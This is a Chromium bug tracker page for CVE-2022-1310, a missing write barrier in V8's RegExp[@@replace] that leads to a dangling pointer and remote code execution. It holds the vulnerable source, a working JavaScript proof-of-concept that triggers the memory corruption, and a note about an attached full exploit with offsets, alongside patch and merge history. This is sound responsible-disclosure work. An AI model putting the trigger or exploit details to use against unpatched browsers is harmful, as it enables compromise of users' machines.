Starred by 7 users

Owner: jgruber@chromium.org
Last visit > 30 days ago

CC: rzanoni@google.com
dinfuehr@chromium.org
vahl@chromium.org
pthier@chromium.org
jgruber@chromium.org
mathias@chromium.org
ecmziegler@google.com

Status: Fixed *(Closed)*

Components: Blink>JavaScript>Regexp

Modified: Jul 29, 2022

Backlog-Rank: ----

Editors: ----

EstimatedDays: ----

NextAction: ----

OS: Linux, Android, Windows, Chrome, Mac, Fuchsia, Lacros

Pri: 1

Type: Bug-Security

Hotlist-Merge-Review
Security_Impact-Stable
Hotlist-Merge-Approved
Security_Severity-High
allpublic
reward-inprocess
reward-20000
CVE_description-submitted
external_security_report
M-98
Target-98
FoundIn-98
merge-merged-9.6
V8-postmortem
LTS-Merge-Merged-96
merge-merged-10.0
merge-merged-10.1
Release-2-M100
CVE-2022-1310

Issue 1307610: Security: RegExp[@@replace] missing write barrier, leading to RCE

Reported by btiszka@gmail.com on Thu, Mar 17, 2022, 11:22 PM EDT Project Member

Code

Description #3 by btiszka@gmail.com (Mar 18, 2022)

VULNERABILITY DETAILS

When `re[Symbol.replace]` is called on RegExp objects that are no longer in fast mode or with modified initial RegExp objects, v8 will call into `Runtime::kRegExpReplaceRT` [1].

If the RegExp is global, it will eventually reach this loop [2] which calls into `RegExpUtils::SetAdvancedStringIndex`. This function will call `RegExpUtils::AdvanceStringIndex` which will increment last_index and then pass the regexp object and the new last_index to `SetLastIndex`[3].

```
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
                                              Handle<JSReceiver> recv,
                                              uint64_t value) {
  Handle<Object> value_as_object =
      isolate->factory()->NewNumberFromInt64(value); /*** A ***/
  if (HasInitialRegExpMap(isolate, *recv)) { /*** B ***/
    JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); /*** C ***/
    return recv;
  } else {
    return Object::SetProperty(
        isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
        StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
  }
}
```

`NewNumberFromInt64` will convert the current `last_index` to an integer or a HeapNumber in NewNumberFromInt64 [A]. Then either the fast branch [B] which calls `set_last_index` directly will be called or the slow branch which calls into runtime with Object::SetProperty. If the fast branch is taken, then the `last_index` will be stored to the regexp object using `SKIP_WRITE_BARRIER` [C]

If no prior write barriers were stored for the last_index slot, this essentially means that if we can store a non-smi value to `last_index` it will result in a use-after-free(gc?).

Putting it all together, we can store the maximum smi, 1073741823, to the `last_index`, `AdvancedStringIndex` will increment it to `1073741824`, then `NewNumberFromInt64` will convert it into a `HeapNumber` in NewSpace, and finally `JSRegExp::cast(*recv).set_last_index` will store it to the regexp object without any write barriers. If the regexp object is in old-space, the HeapNumber allocated by `NewNumberFromInt64` is in NewSpace, and a minor GC happens this leads to `last_index` being a dangling pointer and pointing to arbitrary objects in NewSpace.

[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/regexp-replace.tq;l=255;drc=25f0e32915930df1d53722b91177b1dee5202499
[2] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/runtime/runtime-regexp.cc;l=1871;drc=98cdb728ae59ac1151f4406d426233f86498eedd

[3] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/runtime/runtime-regexp.cc;l=1871;drc=98cdb728ae59ac1151f4406d426233f86498eedd

VERSION
Tested on d8 9.9.115 (stable), introduced sometime in 2018
head 10.2.0 (a15e2b579f39f6cc75394672149ebcb467e03bcf)

REPRODUCTION CASE
```./d8 --expose-gc --allow-natives-syntax poc.js
var re = new RegExp('foo', 'g');

var match_object = {};
match_object[0] = {
    toString : function() {
        return "";
    }
};

re.exec = function() {
    gc(); // move `re` to oldspace using a mark-sweep gc
    delete re.exec; // transition back to initial regexp map to pass HasInitialRegExpMap
    re.lastIndex = 1073741823; // maximum smi, adding one will result in a HeapNumber
    RegExp.prototype.exec = function() {
        throw ''; // break out of Regexp.replace
    }
    return match_object;
};

try {
    var newstr = re[Symbol.replace]("fooooo", ".$");
} catch(e) {}

gc({type:'minor'});
gc({type:'minor'});
gc({type:'minor'});
gc({type:'minor'});
gc({type:'minor'});
%DebugPrint(re.lastIndex);
```

Attached is a reproduction case that does not rely on --expose-gc or --allow-natives-syntax

dcheck.txt
4.2 KB View Download

poc.js
898 bytes View Download

Comment 1 Deleted

Comment 2 by sheriffbot on Thu, Mar 17, 2022, 11:24 PM EDT

Labels: external_security_report

Comment 3 by btiszka@gmail.com on Fri, Mar 18, 2022, 12:02 AM EDT Project Member

Description was changed.

Comment 4 by btiszka@gmail.com on Fri, Mar 18, 2022, 12:03 AM EDT Project Member

Description was changed.

Comment 5 by btiszka@gmail.com on Fri, Mar 18, 2022, 12:30 AM EDT Project Member

Proof of concept leaking TheHole.

poc.js
1.0 KB View Download

Comment 6 by btiszka@gmail.com on Fri, Mar 18, 2022, 1:35 AM EDT Project Member

CL: https://chromium-review.googlesource.com/c/v8/v8/+/3534849

Comment 7 by mattm@chromium.org on Fri, Mar 18, 2022, 4:07 PM EDT

Status: Assigned (was: Unconfirmed)
Owner: jgruber@chromium.org
Labels: Security_Severity-High Security_Needs_Attention-Severity
Components: Blink>JavaScript>Regexp

Assigning to jgruber per v8 triage doc -> regexp issues.
Setting severity per sheriff doc recommendation for v8 issues.

Comment 8 by mattm@chromium.org on Fri, Mar 18, 2022, 5:48 PM EDT

Labels: FoundIn-98

Setting foundin-98 which is current extended stable, d8 sig11s with poc.js from comment 0 on builds 978106 and 950353.

Comment 9 by sheriffbot on Sat, Mar 19, 2022, 12:46 PM EDT

Labels: M-98 Target-98

Setting milestone and target because of high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by sheriffbot on Sat, Mar 19, 2022, 1:06 PM EDT

Labels: -Pri-3 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 11 by jgruber@chromium.org on Mon, Mar 21, 2022, 2:55 AM EDT

Status: Fixed (was: Assigned)

Thanks, marking as fixed with your (incoming) CL.

Comment 12 by jgruber@chromium.org on Mon, Mar 21, 2022, 2:56 AM EDT

(crrev.com/c/3534849)

Comment 13 by Git Watcher on Mon, Mar 21, 2022, 3:46 AM EDT

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8/+/bdc4f54a50293507d9ef51573bab537883560cc8

commit bdc4f54a50293507d9ef51573bab537883560cc8
Author: Brendon Tiszka <btiszka@gmail.com>
Date: Fri Mar 18 05:32:54 2022

Update write barrier when storing HeapNumber to last index.

~~Bug: chromium:1307610~~
Change-Id: I60aaa0e58e13b705b5eff4b57411a0ad4a2e9b3f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3534849
Reviewed-by: Jakob Gruber <jgruber@chromium.org>
Commit-Queue: Jakob Gruber <jgruber@chromium.org>
Cr-Commit-Position: refs/heads/main@{#79538}

[modify] https://crrev.com/bdc4f54a50293507d9ef51573bab537883560cc8/src/regexp/regexp-utils.cc

Comment 14 by btiszka@gmail.com on Mon, Mar 21, 2022, 11:10 AM EDT Project Member

Labels: Security_Impact-Stable

Awesome thanks, marking as stable. I'm working on an exploit for this one after next Wednesday (30th) so please hold off on bounty decisions if possible until then :)

Comment 15 by sheriffbot on Mon, Mar 21, 2022, 12:42 PM EDT

Labels: reward-topanel

Comment 16 by mattm@chromium.org on Mon, Mar 21, 2022, 12:47 PM EDT

Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows OS-Lacros

Assuming this is cross-platform.

Comment 17 by sheriffbot on Mon, Mar 21, 2022, 1:41 PM EDT

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 18 by sheriffbot on Mon, Mar 21, 2022, 2:01 PM EDT

Labels: Merge-Request-101 Merge-Request-100 Merge-Request-98 Merge-Request-99

This is sufficiently serious that it should be merged to extended stable. But I can't see a Chromium repo commit here, so you will need to investigate what - if anything - needs to be merged to M98. Is there a fix in some other repo which should be merged? Or, perhaps this ticket is a duplicate of some other ticket which has the real fix: please track that down and ensure it is merged appropriately.

This is sufficiently serious that it should be merged to stable. But I can't see a Chromium repo commit here, so you will need to investigate what - if anything - needs to be merged to M99. Is there a fix in some other repo which should be merged? Or, perhaps this ticket is a duplicate of some other ticket which has the real fix: please track that down and ensure it is merged appropriately.

This is sufficiently serious that it should be merged to beta. But I can't see a Chromium repo commit here, so you will need to investigate what - if anything - needs to be merged to M100. Is there a fix in some other repo which should be merged? Or, perhaps this ticket is a duplicate of some other ticket which has the real fix: please track that down and ensure it is

Or, perhaps this ticket is a duplicate of some other ticket which has the real fix: please track that down and ensure it is merged appropriately.

This is sufficiently serious that it should be merged to dev. I can't currently determine details for that channel, so please assess whether this is already merged.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 19 by amyressler@chromium.org on Mon, Mar 21, 2022, 3:18 PM EDT

Labels: -Merge-Request-98 -Merge-Request-99

merge-na-98, merge-na-99 as there are no further planned releases of M98 Extended and M99 Stable

As this fixed just landed >12 hours ago and with Stable cut planned for tomorrow, not yet approving for merge to M100 to ensure this fix gets bake time on Canary

Comment 20 by amyressler@chromium.org on Mon, Mar 21, 2022, 3:19 PM EDT

Labels: -Security_Needs_Attention-Severity

Comment 21 by sheriffbot on Tue, Mar 22, 2022, 3:51 AM EDT

Labels: -Merge-Request-101 Hotlist-Merge-Approved Merge-Approved-101

Merge approved: your change passed merge requirements and is auto-approved for M101. Please go ahead and merge the CL to branch 4951 (refs/branch-heads/4951) manually. Please contact milestone owner if you have questions.
Merge instructions:
https://chromium.googlesource.com/chromium/src.git/+/refs/heads/main/docs/process/merge_request.md
Owners: benmason (Android), harrysouders (iOS), matthewjoseph (ChromeOS), pbommana (Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 22 by sheriffbot on Tue, Mar 22, 2022, 3:51 AM EDT

Labels: -Merge-Request-100 Hotlist-Merge-Review Merge-Review-100

Merge review required: M100 has already been cut for stable release.

Please answer the following questions so that we can safely process your merge request:
1. Why does your merge fit within the merge criteria for these milestones?
- Chrome Browser: https://chromiumdash.appspot.com/branches
- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. What changes specifically would you like to merge? Please link to Gerrit.
3. Have the changes been released and tested on canary?
4. Is this a new feature? If yes, is it behind a Finch flag and are experiments active in any release channels?
5. [Chrome OS only]: Was the change reviewed and approved by the Eng Prod Representative?
https://goto.google.com/cros-engprodcomponents
6. If this merge addresses a major issue in the stable channel, does it require manual verification by the test team? If so, please describe required testing.

Please contact the milestone owner if you have questions.
Owners: govind (Android), harrysouders (iOS), dgagnon (ChromeOS), srinivassista (Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 23 by sheriffbot on Tue, Mar 22, 2022, 4:35 AM EDT

Labels: V8-postmortem

This high+ V8 security issue with stable impact requires a lightweight post mortem. Please take some time to answer questions asked in this form [1] to help us improve V8 security. [1] https://docs.google.com/forms/d/e/1FAIpQLSdSMCiEpIFLLFkMbgtulK1sf1B-idQmkFaA4XP2Rz5mN1cqWg/viewform?usp=pp_url&entry.307501673=1307610&entry.364066060=External&entry.958145677=Android&entry.958145677=Chrome&entry.958145677=Fuchsia&entry.958145677=Linux&entry.958145677=Mac&entry.958145677=Windows&entry.958145677=Lacros&entry.763880440=Stable&entry.1678852700=High&entry.763402679=Blink>JavaScript>Regexp&entry.975983575=jgruber@chromium.org Please ensure to copy the full link, as otherwise some issue meta data might not be populated automatically.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 24 by pbommana@google.com on Tue, Mar 22, 2022, 1:43 PM EDT

Your change has been approved for M101 branch,please go ahead and merge the CL's to M101 branch manually asap so that they would be part of this week's first M99 Dev release.

Comment 25 by Git Watcher on Thu, Mar 24, 2022, 4:19 AM EDT

Labels: merge-merged-10.1

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8/+/0799b27e6f56e5d9829748cddcbaba81bdef5342

commit 0799b27e6f56e5d9829748cddcbaba81bdef5342
Author: Brendon Tiszka <btiszka@gmail.com>
Date: Fri Mar 18 05:32:54 2022

Merged: Update write barrier when storing HeapNumber to last index.

(cherry picked from commit bdc4f54a50293507d9ef51573bab537883560cc8)

No-Try: true
No-Presubmit: true
No-Treechecks: true
~~Bug: chromium:1307610~~
Change-Id: I60aaa0e58e13b705b5eff4b57411a0ad4a2e9b3f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3534849
Reviewed-by: Jakob Gruber <jgruber@chromium.org>
Commit-Queue: Jakob Gruber <jgruber@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#79538}
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3545091
Reviewed-by: Patrick Thier <pthier@chromium.org>
Cr-Commit-Position: refs/branch-heads/10.1@{#5}
Cr-Branched-From: b003970395b7efcc309eb30b4ca06dd8385acd55-refs/heads/10.1.124@{#1}
Cr-Branched-From: e62f556862624103ea1da5b9dcef9b216832033b-refs/heads/main@{#79503}

[modify] https://crrev.com/0799b27e6f56e5d9829748cddcbaba81bdef5342/src/regexp/regexp-utils.cc

Comment 26 by sheriffbot on Thu, Mar 24, 2022, 4:25 AM EDT

Labels: LTS-Merge-Candidate

LTS Milestone M96

This issue has been flagged as a merge candidate for Chrome OS' LTS channel. If selected, our merge team will handle

This issue has been flagged as a merge candidate for Chrome OS LTS channel. If selected, our merge team will handle any additional merges. To help us determine if this issue requires a merge to LTS, please answer this short questionnaire:
1. Was this issue a regression for the milestone it was found in?
2. Is this issue related to a change or feature merged after the latest LTS Milestone?

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 27 by rzanoni@google.com on Thu, Mar 24, 2022, 9:20 AM EDT

Cc: rzanoni@google.com
Labels: LTS-Evaluating-96

Comment 28 by pbommana@google.com on Mon, Mar 28, 2022, 10:36 AM EDT

[Bulk Edit] Your change has been approved for M101 branch,please go ahead and merge the CL's to M101 branch manually asap(Refer to go/chrome-branches for branch info) so that they would be part of this week's first M101 Dev/Beta release.

Comment 29 by rzanoni@google.com on Mon, Mar 28, 2022, 11:56 AM EDT

Labels: -LTS-Evaluating-96 LTS-Merge-Request-96

Comment 30 by sheriffbot on Mon, Mar 28, 2022, 11:58 AM EDT

Labels: -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 31 by sheriffbot on Mon, Mar 28, 2022, 12:22 PM EDT

This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 32 by jgruber@chromium.org on Tue, Mar 29, 2022, 1:29 AM EDT

Labels: -Merge-Approved-101

Comment 33 by gmpritchard@google.com on Tue, Mar 29, 2022, 4:56 PM EDT

Labels: -LTS-Merge-Candidate LTS-Merge-Delayed-96

Comment 34 by amyressler@chromium.org on Thu, Mar 31, 2022, 3:59 PM EDT

Labels: -Merge-Review-100 Merge-Approved-100

M100 merge approved, please merge to the relevant V8 branch for M100 at your earliest convenience so this fix can be included in the first security refresh -- thank you

Comment 35 by jgruber@chromium.org on Mon, Apr 4, 2022, 4:04 AM EDT

Labels: -Merge-Approved-100

Comment 36 by Git Watcher on Mon, Apr 4, 2022, 4:05 AM EDT

Labels: merge-merged-10.0

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8/+/e42dbcdedb7a7fad504bb1979500cda05baddc1f

commit e42dbcdedb7a7fad504bb1979500cda05baddc1f
Author: Brendon Tiszka <btiszka@gmail.com>
Date: Fri Mar 18 05:32:54 2022

Merged: Update write barrier when storing HeapNumber to last index.

(cherry picked from commit bdc4f54a50293507d9ef51573bab537883560cc8)

No-Try: true
No-Presubmit: true
No-Treechecks: true
~~Bug: chromium:1307610~~
Change-Id: I60aaa0e58e13b705b5eff4b57411a0ad4a2e9b3f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3534849
Reviewed-by: Jakob Gruber <jgruber@chromium.org>
Commit-Queue: Jakob Gruber <jgruber@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#79538}
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3565716
Reviewed-by: Patrick Thier <pthier@chromium.org>
Commit-Queue: Jakob Linke <jgruber@chromium.org>
Cr-Commit-Position: refs/branch-heads/10.0@{#18}
Cr-Branched-From: 6ea73a738c467dc26abbbe84e27a36aac1c6e119-refs/heads/10.0.139@{#1}
Cr-Branched-From: ccc689011280419901e6ee42cae39980c0e96030-refs/heads/main@{#79131}

[modify] https://crrev.com/e42dbcdedb7a7fad504bb1979500cda05baddc1f/src/regexp/regexp-utils.cc

Comment 37 by jgruber@chromium.org on Mon, Apr 4, 2022, 4:05 AM EDT

Merged to 100 in crrev.com/c/3565716

Comment 38 by adetaylor@google.com on Mon, Apr 11, 2022, 1:15 PM EDT

Labels: Release-2-M100

Comment 39 by adetaylor@google.com on Mon, Apr 11, 2022, 1:30 PM EDT

Labels: CVE-2022-1310 CVE_description-missing

Comment 40 by gmpritchard@google.com on Wed, Apr 13, 2022, 9:16 AM EDT

Labels: -LTS-Merge-Review-96 -LTS-Merge-Delayed-96 LTS-Merge-Approved-96

Comment 41 Deleted

Comment 42 Deleted

Comment 43 by btiszka@gmail.com on Wed, Apr 13, 2022, 1:28 PM EDT Project Member

Exploit attached! The exploit requires pre-computed offsets, so running it with a local chromium build will likely fail unless you have the same build flags set that I do, but if you want to try set TARGET to "chromium" and replace the offsets with the offsets in index.html on your local build.

```
            'chromium': { // 100.0.4896.75
                'libv8_base': 0x31a6170n,
                'FLAG_wasm_memory_protection_keys': 0x660dn,
                'FLAG_write_protect_code_memory': 0x6678n,
                'FLAG_wasm_write_protect_code_memory' :0x660cn
            },
```

Tested on Ubuntu 18 and 20, 128GB of ram and 4GB of ram respectively. Note: Exploit requires 4GB+ of ram because of the way I trigger a minor GC, however it could be easily modified for devices with less than 4GB of ram easily.

```
Google Chrome       100.0.4896.75 (Official Build) (64-bit)
Revision d9568d04d7dd79269c5a655d7ada69650c5a8336-refs/branch-heads/4896@{#1007}
```

Note: The shellcode writes the contents of /etc/passwd into /tmp/aaa

chrome.js
14.4 KB View Download

index.html
8.3 KB View Download

Caddyfile
35 bytes View Download

Comment 44 by btiszka@gmail.com on Wed, Apr 13, 2022, 2:24 PM EDT Project Member

Also tested on Debian 11 with 4GB of ram

Comment 45 by btiszka@gmail.com on Wed, Apr 13, 2022, 6:17 PM EDT Project Member

Summary: Security: RegExp[@@replace] missing write barrier, leading to RCE (was: Security: RegExp[@@replace] missing write barrier, leading to dangling pointer)

Comment 46 by amyressler@google.com on Wed, Apr 13, 2022, 7:42 PM EDT

Labels: -reward-topanel reward-unpaid reward-20000

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by

provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 47 by amyressler@chromium.org on Wed, Apr 13, 2022, 7:54 PM EDT

Congratulations, Brendon! The VRP Panel has decided to award you $20,000 for this report + exploit. Nice work with that exploit and great report!

Comment 48 by amyressler@google.com on Fri, Apr 15, 2022, 9:42 PM EDT

Labels: -reward-unpaid reward-inprocess

Comment 49 by Git Watcher on Tue, Apr 19, 2022, 8:40 AM EDT

Labels: merge-merged-9.6

The following revision refers to this bug:
https://chromium.googlesource.com/v8/v8/+/e4509f356228ddba8080792d35f566691513213c

commit e4509f356228ddba8080792d35f566691513213c
Author: Brendon Tiszka <btiszka@gmail.com>
Date: Fri Mar 18 05:32:54 2022

[M96-LTS] Update write barrier when storing HeapNumber to last index.

(cherry picked from commit bdc4f54a50293507d9ef51573bab537883560cc8)

~~Bug: chromium:1307610~~
No-Try: true
No-Presubmit: true
No-Tree-Checks: true
Change-Id: I60aaa0e58e13b705b5eff4b57411a0ad4a2e9b3f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3534849
Commit-Queue: Jakob Gruber <jgruber@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#79538}
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/3548819
Reviewed-by: Artem Sumaneev <asumaneev@google.com>
Reviewed-by: Jakob Linke <jgruber@chromium.org>
Commit-Queue: Roger Felipe Zanoni da Silva <rzanoni@google.com>
Cr-Commit-Position: refs/branch-heads/9.6@{#64}
Cr-Branched-From: 0b7bda016178bf438f09b3c93da572ae3663a1f7-refs/heads/9.6.180@{#1}
Cr-Branched-From: 41a5a247d9430b953e38631e88d17790306f7a4c-refs/heads/main@{#77244}

[modify] https://crrev.com/e4509f356228ddba8080792d35f566691513213c/src/regexp/regexp-utils.cc

Comment 50 by rzanoni@google.com on Tue, Apr 19, 2022, 8:40 AM EDT

Labels: -LTS-Merge-Approved-96 LTS-Merge-Merged-96

Comment 51 by tiszka@google.com on Thu, Jun 9, 2022, 10:40 AM EDT

Cc: dinfuehr@chromium.org

Comment 52 by sheriffbot on Mon, Jun 27, 2022, 1:31 PM EDT

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 53 by s.h.h...@gmail.com on Mon, Jun 27, 2022, 3:39 PM EDT

Did Brendon get a reward for submitting a patch?

Comment 54 by amyressler@google.com on Tue, Jul 26, 2022, 4:57 PM EDT

Labels: CVE_description-submitted -CVE_description-missing

Comment 55 by amyressler@chromium.org on Fri, Jul 29, 2022, 5:26 PM EDT

Labels: -CVE_description-missing --CVE_description-missing